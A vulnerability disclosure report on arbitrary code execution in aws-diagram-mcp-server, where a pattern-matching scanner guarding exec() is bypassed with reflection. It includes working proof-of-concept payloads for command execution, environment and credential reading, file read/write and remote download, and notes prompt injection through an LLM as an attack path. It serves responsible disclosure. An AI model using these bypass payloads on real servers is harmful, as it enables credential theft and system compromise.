AWS VDP · Report #3557138
Arbitrary Code Execution via Scanner Bypass in **aws-diagram-mcp-server** `exec()` Namespace
Summary
This is an informative report is related to a feature that was included in response to previous unrelated feedback in an open source repository. We thank @locus-x64 for this report, and the commitment to the security of AWS customers.
How it was found
Description: The aws-diagram-mcp-server contains an arbitrary code execution vulnerability in diagrams_tools.py. User-supplied Python code is executed via exec(code, namespace) at line 305 with a namespace containing the full os module, urlretrieve, and Python __builtins__. A security scanner (scanner.py) attempts to block dangerous calls using string pattern matching (e.g., blocking literal os.system, exec(, eval(), but this is trivially bypassed using Python reflection such as getattr(os, 'system')('cmd'), os.__dict__['system']('cmd'), or open('/etc/passwd').read(), none of which match the blocked literal patterns. Additionally, urlretrieve is injected into the namespace but not blocked at all. The AST-based import validator is sound but irrelevant since dangerous modules are pre-loaded into the exec namespace by the server itself. This allows full shell command execution, arbitrary file read/write, environment variable exfiltration (including AWS credentials), and network access — all running with the privileges of the server process.
Steps To Reproduce:
-
Clone the repository and install dependencies for the diagram server:
git clone https://github.com/awslabs/mcp.git && cd mcp/src/aws-diagram-mcp-server uv venv && uv sync --all-groups -
Launch the MCP Inspector connected to the server:
npx @modelcontextprotocol/inspector uv --directory /path/to/mcp/src/aws-diagram-mcp-server run awslabs.aws-diagram-mcp-serverOpen
http://localhost:6274in browser, click Connect, go to Tools tab, click List Tools, then selectgenerate_diagram. -
In the
codeinput field, paste the following payload and click Run Tool:getattr(os, 'system')('echo PWNED > /tmp/mcp_poc_proof.txt') with Diagram("PoC", show=False): passThen verify in a terminal:
cat /tmp/mcp_poc_proof.txt-- it outputsPWNED. The scanner does not block this becausegetattr(os, 'system')does not match the literal patternos.systemchecked inscanner.py:check_dangerous_functions(). -
Additional bypass payloads that also pass the scanner and execute successfully:
- File read:
open('/etc/hostname').read()—open()is not in the blocked list - Command capture:
getattr(os, 'popen')('whoami').read()— avoids literalos.popen - Env exfil:
getattr(os, 'environ')— exposes all environment variables including potential AWS credentials - Network download:
urlretrieve('https://example.com', '/tmp/downloaded.html')— not blocked at all despite being in the exec namespace - File write:
open('/tmp/arbitrary_file', 'w').write('attacker content')— unrestricted write access
- File read:
Impact
Summary
An attacker who can influence the code parameter sent to the generate_diagram tool, either directly as a connected MCP client or indirectly via prompt injection through an LLM, can execute arbitrary operating system commands with the full privileges of the server process. This enables:
- Credential theft: Exfiltrating AWS access keys, session tokens, and other secrets from environment variables
- Data exfiltration: Reading arbitrary files from the host filesystem (source code, config files, private keys)
- System compromise: Writing files, installing backdoors, or modifying system configuration
- Lateral movement: Using the server's network access and IAM role to pivot into cloud infrastructure
- Denial of service: Killing processes, deleting files, or exhausting system resources
The vulnerability is especially dangerous in agentic workflows where users paste untrusted content that the LLM may incorporate into a diagram generation request without human review.